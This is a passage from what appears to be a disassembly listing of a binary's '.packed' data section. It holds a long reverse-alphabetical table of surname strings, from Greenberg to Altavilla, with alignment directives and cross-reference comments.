.packed:0042F314o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: .packed:0042F310o align 4 aGravell db 'Gravell',0 ; DATA XREF: .packed:0042F30Co aGozzi db 'Gozzi',0 ; DATA XREF: .packed:0042F308o align 4 aGoody db 'Goody',0 ; DATA XREF: .packed:0042F304o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: .packed:0042F300o align 4 aGood db 'Good',0 ; DATA XREF: .packed:0042F2FCo align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: .packed:0042F2F8o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: .packed:0042F2F4o align 4 aGlendon db 'Glendon',0 ; DATA XREF: .packed:0042F2F0o aGlegg db 'Glegg',0 ; DATA XREF: .packed:0042F2ECo align 4 aGleason db 'Gleason',0 ; DATA XREF: .packed:0042F2E8o aGist db 'Gist',0 ; DATA XREF: .packed:0042F2E4o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .packed:0042F2E0o align 4 aGill db 'Gill',0 ; DATA XREF: .packed:0042F2DCo align 10h aGili db 'Gili',0 ; DATA XREF: .packed:0042F2D8o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .packed:0042F2D4o aGibson db 'Gibson',0 ; DATA XREF: .packed:0042F2D0o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .packed:0042F2CCo aGhorai db 'Ghorai',0 ; DATA XREF: .packed:0042F2C8o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .packed:0042F2C4o aGeorgi db 'Georgi',0 ; DATA XREF: .packed:0042F2C0o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: .packed:0042F2BCo align 4 aGeller db 'Geller',0 ; DATA XREF: .packed:0042F2B8o align 4 aGaronna db 'Garonna',0 ; DATA XREF: .packed:0042F2B4o aGarman db 'Garman',0 ; DATA XREF: .packed:0042F2B0o align 4 aGarfield db 'Garfield',0 ; DATA XREF: .packed:0042F2ACo align 4 aGambini db 'Gambini',0 ; DATA XREF: .packed:0042F2A8o aGalwey db 'Galwey',0 ; DATA XREF: .packed:0042F2A4o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: .packed:0042F2A0o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .packed:0042F29Co align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: .packed:0042F298o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: .packed:0042F294o align 4 aFurth db 'Furth',0 ; DATA XREF: .packed:0042F290o align 4 aFuller db 'Fuller',0 ; DATA XREF: .packed:0042F28Co align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .packed:0042F288o align 10h aFrye db 'Frye',0 ; DATA XREF: .packed:0042F284o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: .packed:0042F280o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: .packed:0042F27Co aFrisken db 'Frisken',0 ; DATA XREF: .packed:0042F278o aFriedland db 'Friedland',0 ; DATA XREF: .packed:0042F274o align 10h aFried db 'Fried',0 ; DATA XREF: .packed:0042F270o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: .packed:0042F26Co align 4 aFreid db 'Freid',0 ; DATA XREF: .packed:0042F268o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .packed:0042F264o align 4 aFranz db 'Franz',0 ; DATA XREF: .packed:0042F260o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .packed:0042F25Co align 4 aFrancisco db 'Francisco',0 ; DATA XREF: .packed:0042F258o align 10h aFossi db 'Fossi',0 ; DATA XREF: .packed:0042F254o align 4 aFossey db 'Fossey',0 ; DATA XREF: .packed:0042F250o align 10h aFortier db 'Fortier',0 ; DATA XREF: .packed:0042F24Co aFortes db 'Fortes',0 ; DATA XREF: .packed:0042F248o align 10h aForester db 'Forester',0 ; DATA XREF: .packed:0042F244o align 4 aFolks db 'Folks',0 ; DATA XREF: .packed:0042F240o align 4 aFlores db 'Flores',0 ; DATA XREF: .packed:0042F23Co align 4 aFlier db 'Flier',0 ; DATA XREF: .packed:0042F238o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .packed:0042F234o aFisk db 'Fisk',0 ; DATA XREF: .packed:0042F230o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .packed:0042F22Co aFinnegan db 'Finnegan',0 ; DATA XREF: .packed:0042F228o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .packed:0042F224o aFink db 'Fink',0 ; DATA XREF: .packed:0042F220o align 10h aField db 'Field',0 ; DATA XREF: .packed:0042F21Co align 4 aFido db 'Fido',0 ; DATA XREF: .packed:0042F218o align 10h aFeuer db 'Feuer',0 ; DATA XREF: .packed:0042F214o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: .packed:0042F210o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: .packed:0042F20Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: .packed:0042F208o align 4 aFernald db 'Fernald',0 ; DATA XREF: .packed:0042F204o aFeldman db 'Feldman',0 ; DATA XREF: .packed:0042F200o aFejzo db 'Fejzo',0 ; DATA XREF: .packed:0042F1FCo align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .packed:0042F1F8o align 10h aFates db 'Fates',0 ; DATA XREF: .packed:0042F1F4o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .packed:0042F1F0o align 10h aFarren db 'Farren',0 ; DATA XREF: .packed:0042F1ECo align 4 aFarone db 'Farone',0 ; DATA XREF: .packed:0042F1E8o align 10h aFaris db 'Faris',0 ; DATA XREF: .packed:0042F1E4o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: .packed:0042F1E0o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .packed:0042F1DCo align 10h aFaioes db 'Faioes',0 ; DATA XREF: .packed:0042F1D8o align 4 aFagan db 'Fagan',0 ; DATA XREF: .packed:0042F1D4o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: .packed:0042F1D0o aEverett db 'Everett',0 ; DATA XREF: .packed:0042F1CCo aEuripides db 'Euripides',0 ; DATA XREF: .packed:0042F1C8o align 4 aEtter db 'Etter',0 ; DATA XREF: .packed:0042F1C4o align 4 aEstes db 'Estes',0 ; DATA XREF: .packed:0042F1C0o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .packed:0042F1BCo align 4 aErez db 'Erez',0 ; DATA XREF: .packed:0042F1B8o align 10h aErdos db 'Erdos',0 ; DATA XREF: .packed:0042F1B4o align 4 aErdman db 'Erdman',0 ; DATA XREF: .packed:0042F1B0o align 10h aErbach db 'Erbach',0 ; DATA XREF: .packed:0042F1ACo align 4 aEppling db 'Eppling',0 ; DATA XREF: .packed:0042F1A8o aEnyeart db 'Enyeart',0 ; DATA XREF: .packed:0042F1A4o aEncinas db 'Encinas',0 ; DATA XREF: .packed:0042F1A0o aElvis db 'Elvis',0 ; DATA XREF: .packed:0042F19Co align 4 aElmerick db 'Elmerick',0 ; DATA XREF: .packed:0042F198o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: .packed:0042F194o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: .packed:0042F190o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .packed:0042F18Co aEdward db 'Edward',0 ; DATA XREF: .packed:0042F188o align 10h aEdner db 'Edner',0 ; DATA XREF: .packed:0042F184o align 4 aEdley db 'Edley',0 ; DATA XREF: .packed:0042F180o align 10h aEckel db 'Eckel',0 ; DATA XREF: .packed:0042F17Co align 4 aEbeling db 'Ebeling',0 ; DATA XREF: .packed:0042F178o aEardley db 'Eardley',0 ; DATA XREF: .packed:0042F174o aDwyer db 'Dwyer',0 ; DATA XREF: .packed:0042F170o align 10h aDussault db 'Dussault',0 ; DATA XREF: .packed:0042F16Co align 4 aDurrett db 'Durrett',0 ; DATA XREF: .packed:0042F168o aDuffin db 'Duffin',0 ; DATA XREF: .packed:0042F164o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: .packed:0042F160o aDrinker db 'Drinker',0 ; DATA XREF: .packed:0042F15Co aDowsland db 'Dowsland',0 ; DATA XREF: .packed:0042F158o align 4 aDoug db 'Doug',0 ; DATA XREF: .packed:0042F154o align 10h aDoty db 'Doty',0 ; DATA XREF: .packed:0042F150o align 4 aDosi db 'Dosi',0 ; DATA XREF: .packed:0042F14Co align 10h aDorf db 'Dorf',0 ; DATA XREF: .packed:0042F148o align 4 aDore db 'Dore',0 ; DATA XREF: .packed:0042F144o align 10h aDoonan db 'Doonan',0 ; DATA XREF: .packed:0042F140o align 4 aDonner db 'Donner',0 ; DATA XREF: .packed:0042F13Co align 10h aDonahue db 'Donahue',0 ; DATA XREF: .packed:0042F138o aDoherty db 'Doherty',0 ; DATA XREF: .packed:0042F134o aDockery db 'Dockery',0 ; DATA XREF: .packed:0042F130o aDirksen db 'Dirksen',0 ; DATA XREF: .packed:0042F12Co aDionysius db 'Dionysius',0 ; DATA XREF: .packed:0042F128o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .packed:0042F124o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: .packed:0042F120o align 4 aDifabio db 'Difabio',0 ; DATA XREF: .packed:0042F11Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: .packed:0042F118o align 4 aDicks db 'Dicks',0 ; DATA XREF: .packed:0042F114o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: .packed:0042F110o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .packed:0042F10Co aDesombre db 'Desombre',0 ; DATA XREF: .packed:0042F108o align 4 aDenison db 'Denison',0 ; DATA XREF: .packed:0042F104o aDenham db 'Denham',0 ; DATA XREF: .packed:0042F100o align 4 aDenault db 'Denault',0 ; DATA XREF: .packed:0042F0FCo aDemusz db 'Demusz',0 ; DATA XREF: .packed:0042F0F8o align 4 aDempster db 'Dempster',0 ; DATA XREF: .packed:0042F0F4o align 4 aDeming db 'Deming',0 ; DATA XREF: .packed:0042F0F0o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042F0ECo align 4 aDelger db 'Delger',0 ; DATA XREF: .packed:0042F0E8o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .packed:0042F0E4o align 4 aDelattre db 'Delattre',0 ; DATA XREF: .packed:0042F0E0o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: .packed:0042F0DCo align 4 aDees db 'Dees',0 ; DATA XREF: .packed:0042F0D8o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .packed:0042F0D4o aDerousse db 'deRousse',0 ; DATA XREF: .packed:0042F0D0o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042F0CCo align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .packed:0042F0C8o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: .packed:0042F0C4o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .packed:0042F0C0o aDavid db 'David',0 ; DATA XREF: .packed:0042F0BCo align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .packed:0042F0B8o aDasgupta db 'Dasgupta',0 ; DATA XREF: .packed:0042F0B4o align 10h aDas db 'Das',0 ; DATA XREF: .packed:0042F0B0o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042F0ACo aDapice db 'Dapice',0 ; DATA XREF: .packed:0042F0A8o align 4 aDante db 'Dante',0 ; DATA XREF: .packed:0042F0A4o align 10h aDanieli db 'Danieli',0 ; DATA XREF: .packed:0042F0A0o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .packed:0042F09Co aDaly db 'Daly',0 ; DATA XREF: .packed:0042F098o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: .packed:0042F094o align 4 aDasilva db 'daSilva',0 ; DATA XREF: .packed:0042F090o aCyders db 'Cyders',0 ; DATA XREF: .packed:0042F08Co align 4 aCvek db 'Cvek',0 ; DATA XREF: .packed:0042F088o align 4 aCutler db 'Cutler',0 ; DATA XREF: .packed:0042F084o align 4 aCurrier db 'Currier',0 ; DATA XREF: .packed:0042F080o aCui db 'Cui',0 ; DATA XREF: .packed:0042F07Co aCroxton db 'Croxton',0 ; DATA XREF: .packed:0042F078o aCroxen db 'Croxen',0 ; DATA XREF: .packed:0042F074o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: .packed:0042F070o aCrocker db 'Crocker',0 ; DATA XREF: .packed:0042F06Co aCrawford db 'Crawford',0 ; DATA XREF: .packed:0042F068o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: .packed:0042F064o aCounter db 'Counter',0 ; DATA XREF: .packed:0042F060o aCosmides db 'Cosmides',0 ; DATA XREF: .packed:0042F05Co align 4 aCornish db 'Cornish',0 ; DATA XREF: .packed:0042F058o aCorey db 'Corey',0 ; DATA XREF: .packed:0042F054o align 4 aConnors db 'Connors',0 ; DATA XREF: .packed:0042F050o aCondodina db 'Condodina',0 ; DATA XREF: .packed:0042F04Co align 4 aConcino db 'Concino',0 ; DATA XREF: .packed:0042F048o aComstock db 'Comstock',0 ; DATA XREF: .packed:0042F044o align 10h aCompton db 'Compton',0 ; DATA XREF: .packed:0042F03Co ; .packed:0042F040o aCollis db 'Collis',0 ; DATA XREF: .packed:0042F038o align 10h aCollard db 'Collard',0 ; DATA XREF: .packed:0042F034o aColella db 'Colella',0 ; DATA XREF: .packed:0042F030o aColdren db 'Coldren',0 ; DATA XREF: .packed:0042F02Co aCoito db 'Coito',0 ; DATA XREF: .packed:0042F028o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: .packed:0042F024o aClow db 'Clow',0 ; DATA XREF: .packed:0042F020o align 10h aClifton db 'Clifton',0 ; DATA XREF: .packed:0042F01Co aClement db 'Clement',0 ; DATA XREF: .packed:0042F018o aClark db 'Clark',0 ; DATA XREF: .packed:0042F014o align 4 aClancy db 'Clancy',0 ; DATA XREF: .packed:0042F010o align 10h aClaffey db 'Claffey',0 ; DATA XREF: .packed:0042F00Co aCifarelli db 'Cifarelli',0 ; DATA XREF: .packed:0042F008o align 4 aCicero db 'Cicero',0 ; DATA XREF: .packed:0042F004o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .packed:0042F000o align 4 aChurch db 'Church',0 ; DATA XREF: .packed:0042EFFCo align 10h aChupasko db 'Chupasko',0 ; DATA XREF: .packed:0042EFF8o align 4 aChu db 'Chu',0 ; DATA XREF: .packed:0042EFF4o aChristopher db 'Christopher',0 ; DATA XREF: .packed:0042EFF0o aChristie db 'Christie',0 ; DATA XREF: .packed:0042EFECo align 4 aChristiano db 'Christiano',0 ; DATA XREF: .packed:0042EFE8o align 4 aChristian db 'Christian',0 ; DATA XREF: .packed:0042EFE4o align 10h aChristenson db 'Christenson',0 ; DATA XREF: .packed:0042EFE0o aChinman db 'Chinman',0 ; DATA XREF: .packed:0042EFDCo aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .packed:0042EFD8o aChilds db 'Childs',0 ; DATA XREF: .packed:0042EFD4o align 4 aChildress db 'Childress',0 ; DATA XREF: .packed:0042EFD0o align 4 aChien db 'Chien',0 ; DATA XREF: .packed:0042EFCCo align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .packed:0042EFC8o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .packed:0042EFC4o align 4 aCherry db 'Cherry',0 ; DATA XREF: .packed:0042EFC0o align 4 aCheang db 'Cheang',0 ; DATA XREF: .packed:0042EFBCo align 4 aCharles db 'Charles',0 ; DATA XREF: .packed:0042EFB8o aChapman db 'Chapman',0 ; DATA XREF: .packed:0042EFB4o aCerioli db 'Cerioli',0 ; DATA XREF: .packed:0042EFB0o aCeniceros db 'Ceniceros',0 ; DATA XREF: .packed:0042EFACo align 4 aCavell db 'Cavell',0 ; DATA XREF: .packed:0042EFA8o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: .packed:0042EFA4o align 4 aCastelda db 'Castelda',0 ; DATA XREF: .packed:0042EFA0o align 4 aCaspar db 'Caspar',0 ; DATA XREF: .packed:0042EF9Co align 10h aCase db 'Case',0 ; DATA XREF: .packed:0042EF98o align 4 aCascio db 'Cascio',0 ; DATA XREF: .packed:0042EF94o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: .packed:0042EF90o align 4 aCarper db 'Carper',0 ; DATA XREF: .packed:0042EF8Co align 4 aCaroti db 'Caroti',0 ; DATA XREF: .packed:0042EF88o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: .packed:0042EF84o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .packed:0042EF80o aCarlos db 'Carlos',0 ; DATA XREF: .packed:0042EF7Co align 4 aCarlin db 'Carlin',0 ; DATA XREF: .packed:0042EF78o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .packed:0042EF74o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .packed:0042EF70o aCapursi db 'Capursi',0 ; DATA XREF: .packed:0042EF6Co aCappuccio db 'Cappuccio',0 ; DATA XREF: .packed:0042EF68o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: .packed:0042EF64o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .packed:0042EF60o align 4 aCaperton db 'Caperton',0 ; DATA XREF: .packed:0042EF5Co align 4 aCapanni db 'Capanni',0 ; DATA XREF: .packed:0042EF58o aCanley db 'Canley',0 ; DATA XREF: .packed:0042EF54o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .packed:0042EF50o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: .packed:0042EF4Co align 4 aCalnan db 'Calnan',0 ; DATA XREF: .packed:0042EF48o align 4 aCage db 'Cage',0 ; DATA XREF: .packed:0042EF44o align 4 aByrd db 'Byrd',0 ; DATA XREF: .packed:0042EF40o align 4 aByerly db 'Byerly',0 ; DATA XREF: .packed:0042EF3Co align 4 aByatt db 'Byatt',0 ; DATA XREF: .packed:0042EF38o align 4 aBusetta db 'Busetta',0 ; DATA XREF: .packed:0042EF34o aBurridge db 'Burridge',0 ; DATA XREF: .packed:0042EF30o align 4 aBurke db 'Burke',0 ; DATA XREF: .packed:0042EF2Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: .packed:0042EF28o align 4 aBurden db 'Burden',0 ; DATA XREF: .packed:0042EF24o align 10h aBunton db 'Bunton',0 ; DATA XREF: .packed:0042EF20o align 4 aBullard db 'Bullard',0 ; DATA XREF: .packed:0042EF1Co aBudding db 'Budding',0 ; DATA XREF: .packed:0042EF18o aBuchan db 'Buchan',0 ; DATA XREF: .packed:0042EF14o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: .packed:0042EF10o aBrook db 'Brook',0 ; DATA XREF: .packed:0042EF0Co align 10h aBroca db 'Broca',0 ; DATA XREF: .packed:0042EF08o align 4 aBritz db 'Britz',0 ; DATA XREF: .packed:0042EF04o align 10h aBrinton db 'Brinton',0 ; DATA XREF: .packed:0042EF00o aBridges db 'Bridges',0 ; DATA XREF: .packed:0042EEFCo aBridgeman db 'Bridgeman',0 ; DATA XREF: .packed:0042EEF8o align 4 aBrewer db 'Brewer',0 ; DATA XREF: .packed:0042EEF0o ; .packed:0042EEF4o align 4 aBrennan db 'Brennan',0 ; DATA XREF: .packed:0042EEECo aBrenan db 'Brenan',0 ; DATA XREF: .packed:0042EEE8o align 4 aBreed db 'Breed',0 ; DATA XREF: .packed:0042EEE4o align 4 aBrecht db 'Brecht',0 ; DATA XREF: .packed:0042EEE0o align 4 aBradach db 'Bradach',0 ; DATA XREF: .packed:0042EEDCo aBradac db 'Bradac',0 ; DATA XREF: .packed:0042EED8o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .packed:0042EED4o align 10h aBoyne db 'Boyne',0 ; DATA XREF: .packed:0042EED0o align 4 aBoym db 'Boym',0 ; DATA XREF: .packed:0042EECCo align 10h aBoyland db 'Boyland',0 ; DATA XREF: .packed:0042EEC8o aBoyes db 'Boyes',0 ; DATA XREF: .packed:0042EEC4o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: .packed:0042EEC0o align 4 aBoxer db 'Boxer',0 ; DATA XREF: .packed:0042EEBCo align 4 aBowers db 'Bowers',0 ; DATA XREF: .packed:0042EEB8o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: .packed:0042EEB4o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .packed:0042EEB0o aBoudin db 'Boudin',0 ; DATA XREF: .packed:0042EEACo align 4 aBotosh db 'Botosh',0 ; DATA XREF: .packed:0042EEA8o align 10h aBothman db 'Bothman',0 ; DATA XREF: .packed:0042EEA4o aBossi db 'Bossi',0 ; DATA XREF: .packed:0042EEA0o align 10h aBorden db 'Borden',0 ; DATA XREF: .packed:0042EE9Co align 4 aBorack db 'Borack',0 ; DATA XREF: .packed:0042EE98o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: .packed:0042EE94o align 4 aBoone db 'Boone',0 ; DATA XREF: .packed:0042EE90o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .packed:0042EE8Co align 10h aBook db 'Book',0 ; DATA XREF: .packed:0042EE88o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: .packed:0042EE84o align 4 aBoniface db 'Boniface',0 ; DATA XREF: .packed:0042EE80o align 10h aBonham db 'Bonham',0 ; DATA XREF: .packed:0042EE7Co align 4 aBoner db 'Boner',0 ; DATA XREF: .packed:0042EE78o align 10h aBologna db 'Bologna',0 ; DATA XREF: .packed:0042EE74o aBollinger db 'Bollinger',0 ; DATA XREF: .packed:0042EE70o align 4 aBolick db 'Bolick',0 ; DATA XREF: .packed:0042EE6Co align 4 aBolger db 'Bolger',0 ; DATA XREF: .packed:0042EE68o align 4 aBlyth db 'Blyth',0 ; DATA XREF: .packed:0042EE64o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .packed:0042EE60o aBloemhof db 'Bloemhof',0 ; DATA XREF: .packed:0042EE5Co align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: .packed:0042EE58o aBloch db 'Bloch',0 ; DATA XREF: .packed:0042EE54o align 4 aBlizard db 'Blizard',0 ; DATA XREF: .packed:0042EE50o aBliss db 'Bliss',0 ; DATA XREF: .packed:0042EE4Co align 4 aBlanke db 'Blanke',0 ; DATA XREF: .packed:0042EE48o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .packed:0042EE44o align 4 aBlagg db 'Blagg',0 ; DATA XREF: .packed:0042EE40o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: .packed:0042EE3Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .packed:0042EE38o align 4 aBisho db 'Bisho',0 ; DATA XREF: .packed:0042EE34o align 10h aBisema db 'Bisema',0 ; DATA XREF: .packed:0042EE30o align 4 aBir db 'Bir',0 ; DATA XREF: .packed:0042EE2Co aBinion db 'Binion',0 ; DATA XREF: .packed:0042EE28o align 4 aBickel db 'Bickel',0 ; DATA XREF: .packed:0042EE24o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: .packed:0042EE20o align 4 aBeynart db 'Beynart',0 ; DATA XREF: .packed:0042EE1Co aBetti db 'Betti',0 ; DATA XREF: .packed:0042EE18o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .packed:0042EE14o align 4 aBernston db 'Bernston',0 ; DATA XREF: .packed:0042EE10o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .packed:0042EE0Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: .packed:0042EE08o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .packed:0042EE04o align 4 aBergson db 'Bergson',0 ; DATA XREF: .packed:0042EE00o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .packed:0042EDFCo align 4 aBelloc db 'Belloc',0 ; DATA XREF: .packed:0042EDF8o align 4 aBellini db 'Bellini',0 ; DATA XREF: .packed:0042EDF4o aBellhouse db 'Bellhouse',0 ; DATA XREF: .packed:0042EDF0o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: .packed:0042EDECo align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .packed:0042EDE8o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .packed:0042EDE4o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .packed:0042EDE0o align 10h aBelanger db 'Belanger',0 ; DATA XREF: .packed:0042EDDCo align 4 aBehenna db 'Behenna',0 ; DATA XREF: .packed:0042EDD8o aBedford db 'Bedford',0 ; DATA XREF: .packed:0042EDD4o aBeder db 'Beder',0 ; DATA XREF: .packed:0042EDD0o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .packed:0042EDCCo aBean db 'Bean',0 ; DATA XREF: .packed:0042EDC8o align 4 aBeal db 'Beal',0 ; DATA XREF: .packed:0042EDC4o align 4 aBeacon db 'Beacon',0 ; DATA XREF: .packed:0042EDC0o align 4 aBayo db 'Bayo',0 ; DATA XREF: .packed:0042EDBCo align 4 aBayles db 'Bayles',0 ; DATA XREF: .packed:0042EDB8o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .packed:0042EDB4o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: .packed:0042EDB0o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .packed:0042EDACo align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: .packed:0042EDA8o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .packed:0042EDA4o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: .packed:0042EDA0o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: .packed:0042ED9Co aBarry db 'Barry',0 ; DATA XREF: .packed:0042ED98o align 4 aBarriola db 'Barriola',0 ; DATA XREF: .packed:0042ED94o align 4 aBarnett db 'Barnett',0 ; DATA XREF: .packed:0042ED90o aBarneson db 'Barneson',0 ; DATA XREF: .packed:0042ED8Co align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: .packed:0042ED88o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .packed:0042ED84o aBaranowska db 'Baranowska',0 ; DATA XREF: .packed:0042ED80o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: .packed:0042ED7Co align 4 aBarajas db 'Barajas',0 ; DATA XREF: .packed:0042ED78o aBarabesi db 'Barabesi',0 ; DATA XREF: .packed:0042ED74o align 4 aBanta db 'Banta',0 ; DATA XREF: .packed:0042ED70o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .packed:0042ED6Co align 4 aBallew db 'Ballew',0 ; DATA XREF: .packed:0042ED68o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .packed:0042ED64o align 10h aBaleja db 'Baleja',0 ; DATA XREF: .packed:0042ED60o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .packed:0042ED5Co align 4 aBailar db 'Bailar',0 ; DATA XREF: .packed:0042ED58o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: .packed:0042ED54o aBaglivo db 'Baglivo',0 ; DATA XREF: .packed:0042ED50o aBady db 'Bady',0 ; DATA XREF: .packed:0042ED4Co align 4 aBackus db 'Backus',0 ; DATA XREF: .packed:0042ED48o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .packed:0042ED44o align 4 aAzima db 'Azima',0 ; DATA XREF: .packed:0042ED40o align 10h aAyling db 'Ayling',0 ; DATA XREF: .packed:0042ED3Co align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: .packed:0042ED38o aAyiemba db 'Ayiemba',0 ; DATA XREF: .packed:0042ED34o aAxworthy db 'Axworthy',0 ; DATA XREF: .packed:0042ED30o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .packed:0042ED2Co aAurelius db 'Aurelius',0 ; DATA XREF: .packed:0042ED28o align 4 aAugustus db 'Augustus',0 ; DATA XREF: .packed:0042ED24o align 4 aAtkins db 'Atkins',0 ; DATA XREF: .packed:0042ED20o align 4 aArky db 'Arky',0 ; DATA XREF: .packed:0042ED1Co align 4 aArjas db 'Arjas',0 ; DATA XREF: .packed:0042ED18o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .packed:0042ED14o align 4 aArellano db 'Arellano',0 ; DATA XREF: .packed:0042ED10o align 4 aArduini db 'Arduini',0 ; DATA XREF: .packed:0042ED0Co aArbia db 'Arbia',0 ; DATA XREF: .packed:0042ED08o align 4 aAntos db 'Antos',0 ; DATA XREF: .packed:0042ED04o align 4 aAnthony db 'Anthony',0 ; DATA XREF: .packed:0042ED00o aAnsley db 'Ansley',0 ; DATA XREF: .packed:0042ECFCo align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .packed:0042ECF8o align 4 aAndron db 'Andron',0 ; DATA XREF: .packed:0042ECF4o align 10h aAndrelus db 'Andrelus',0 ; DATA XREF: .packed:0042ECF0o align 4 aAndo db 'Ando',0 ; DATA XREF: .packed:0042ECECo align 4 aAndel db 'Andel',0 ; DATA XREF: .packed:0042ECE8o align 4 aAnand db 'Anand',0 ; DATA XREF: .packed:0042ECE4o align 4 aAmsden db 'Amsden',0 ; DATA XREF: .packed:0042ECE0o align 4 aAmeer db 'Ameer',0 ; DATA XREF: .packed:0042ECDCo align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .packed:0042ECD8o align 10h aAmaral db 'Amaral',0 ; DATA XREF: .packed:0042ECD4o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: .packed:0042ECD0o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .packed:0042ECCCo aAltavilla db 'Altavilla',0 ; DATA XREF: .packed:0042ECC8o align 